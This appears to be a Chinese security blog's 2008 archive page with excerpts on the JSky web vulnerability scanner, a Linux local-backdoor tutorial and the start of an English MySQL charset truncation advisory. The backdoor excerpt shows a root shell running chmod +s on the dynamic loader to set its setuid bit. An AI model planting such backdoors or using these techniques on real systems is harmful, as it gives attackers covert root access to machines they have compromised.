2008年9月 的日志

JSky beta版本发布(针对所有互联网用户)

非常高兴的宣布JSky这一完全免费的Web应用漏洞扫描软件终于进入beta版本了。此时对所有互联网的朋友开放使用。下载请到 http://www.nosec.org/web/jsky

很感谢在alpha版本中提出了宝贵 意见的朋友,不管是马甲也好、NOSEC的FANS也好,从大家对JSky的关注情况来看确实令我感到万分的欣慰。本次beta版本除了解决了alpha 版本中朋友反馈的一些问题以外,也添加和完善一些功能。希望大家喜欢,enjoy it.

linux下留本地后门的两个方法

鬼仔注:刚找xiaoyu要了文中所说的test文件,另外xiaoyu也发了我一个视频,一块放上来,下载地址: test 、 fstab后门视频.rar 。test 备份地址 。

作者: xi4oyu

方法一:setuid的方法,其实8是很隐蔽。看看过程:

[root@localdomain lib]# ls -l |grep ld-linux
lrwxrwxrwx 1 root root       9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
lrwxrwxrwx 1 root root      13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.2
[root@localdomain lib]# chmod +s ld-linux.so.2
[root@localdomain lib]# ls -l |grep ld-2.7.so
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so
lrwxrwxrwx 1 root root       9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
[root@localdomain lib]#
我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。

Mysql charset Truncation vulnerability

Mysql charset Truncation vulnerability

By http://www.80sec.com/

We found that there is a interesting feature in mysql database,when you are using utf8,gbk or other charsets.This feature may make your application unsecure.

Stefen Esser shows some attack manners of mysql in his paper[1], in which he issues the SQL Column Truncation vulnerability.

The application is a forum where new users can register
The administrator’s name is known e.g. ‘admin’
MySQL is used in the default mode
There is no application restriction on the length of new user names
The database column username is limited to 16 characters